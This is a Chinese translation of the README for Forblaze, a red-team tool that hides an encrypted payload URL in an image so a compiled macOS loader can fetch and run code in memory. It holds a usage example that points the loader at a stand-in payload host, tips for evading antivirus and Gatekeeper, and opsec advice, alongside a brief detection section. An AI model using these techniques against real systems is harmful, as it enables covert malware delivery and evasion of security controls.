作者:AsaurusRex
切勿将此项目用于除合法红队/渗透测试任务或研究之外的任何目的。严禁将其用于任何非法活动,请知悉本项目仅供研究用途,并旨在帮助推动红蓝双方的使命。
关于Forblaze的博文,请查看 https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571
Forblaze是一个旨在为Mac OS有效载荷提供隐写功能的项目。使用python3,它会为你构建一个Obj-C文件,该文件将被编译以从隐写文件中提取所需的加密URL,通过https获取有效载荷,并直接将其执行到内存中。它使用自定义加密——并非密码学安全,纯粹是为了规避防病毒引擎的分析。它是我之前为Windows构建的自定义加密(称为Rubicon)的轻微改动,实际使用中更为简单。Forblaze利用头部和尾部字节来标识你的加密字节在隐写文件中的位置,然后使用compile_forblaze.m中硬编码的密钥进行解密。这个密钥可以保存并重复使用,这样就可以使用不同的URL来获取不同的有效载荷,而相同的编译后的forblaze仍然能够执行并处理它(前提是头部和尾部字节未更改,并且新的隐写文件被上传到正确的位置)。
Python3(仅用Python3.9+测试过),以及一些相关的Python库——pip3应该能处理好你需要的所有Python依赖。此外,clang将用于编译,且forblaze应在Mac上运行,以便正确编译。
用法: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
为植入程序生成隐写文件。
可选参数:
-h, --help 显示此帮助信息并退出
-innocent_path PATH 提供要使用的无辜文件的完整路径。
-o OUTPUT 提供放置隐写文件的路径。
-len_key LENGTH_OF_KEY 提供一个正整数作为密钥的字节长度。默认为16。必须在10到150字节之间。
-url_to_encrypt URL 提供要放入编译文件中的URL。
-supply_key SUPPLIED_KEY 如果你想使用特定的密钥,请在此提供。格式必须为:-supply_key "\x6e\x60\..." —— 即每个字节之间需要两个反斜杠,否则将无法工作。
-stego_location STEGO_LOCATION 你必须在目标上提供一个隐写文件将存放的位置。建议使用严格的完整路径:例如 /Users/<>/Documents/file.jpg。
-compiled_binary COMPILED_BINARY 给编译后的二进制文件命名,用于从隐写文件中提取URL并在内存中运行代码。默认为forblaze。
-method METHOD 选择要使用的方法。方法1依赖直接将dylib执行到内存中,适用于Go有效载荷以及常规有效载荷。方法2依赖直接将macho文件执行到内存中,但不适用于Go编译的有效载荷。方法3是方法1的变体,但依赖从服务器获取解密密钥,这更有利于操作安全。默认方法是1。注意:根据你的执行方法,你可能仍需要手动编辑"module"(即RunMain)!
-key_url KEY_URL 提供用于解密隐写文件的密钥的URL。
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
老实说,不算太多。Mac OS的检测能力仍然较差,尤其是对内存活动。作为给读者的练习,你也可以通过对此代码稍作修改,直接调用有效载荷字节,而不是使用URL。然而,根据有效载荷的大小,Python脚本中的加密部分可能需要很长时间才能完成。
注意:由于此代码编译为Mach-O二进制文件(而不是dylib,尽管可以在代码中轻松更改),像Gatekeeper这样的控制措施默认会阻止其执行,除非你能对有效载荷进行签名或移除隔离属性。
我建议更改默认生成的随机字节数量,以及更改forblaze用于在隐写文件中查找有效载荷的默认头部和尾部字节(以及这些头部和尾部字节的长度,使其可能更隐蔽)。
为了获得最佳操作安全,我建议从你控制的外部服务器获取解密密钥——这样你就可以严格控制对该密钥的访问,使逆向工程变得更加困难。
隐写术很难检测。如果你知道隐写文件的位置,你可以开始在正常文件EOF之后(例如对于jpeg文件,在"FFD9"之后)提取可疑字节。这些可疑字节仍然包含实际的加密有效载荷和无用的随机字节,除非你拥有Forblaze指定的头部和尾部字节,否则很难区分它们。你可以检查这些字节并寻找重复字节的模式,因为Forblaze的头部和尾部字节通常是这样工作的,但熟练的操作员可以使它比默认情况更难找到。如果某个有效载荷被捕获,你显然可以逆向分析二进制文件并尝试定位隐写文件,然后尝试使用硬编码的密钥和头部/尾部字节来还原正在被调用的URL(或其他字节)。但这都假设你通过其他方式找到了该二进制文件。
此工具已在多种Mac OS版本上测试过,包括Big Sur和Catalina(x64系统)。如有问题,请告知。
自定义加密是一种基本的凯撒密码,使用密钥的不同字节来移动明文字节的字节。这就是为什么更大的密钥不一定对加密更有利——它取决于你的明文长度。如果你的明文是50字节,而你使用了150字节的密钥,则只会使用密钥的前50字节。但如果你的明文超过150字节,那么较长的密钥会更安全。
隐写术相当简单:原始无辜文件中的字节保持不变,然后在其后附加随机字节(以及你的加密有效载荷字节)。默认情况下,这些随机字节的长度在2到2000之间(可能应根据你的明文大小进行更改——较大的明文应生成更多随机字节)。
我非常欢迎评论和合作!希望这有助于围绕自定义加密主题产生有用的讨论,或为研究人员提供一些新的见解。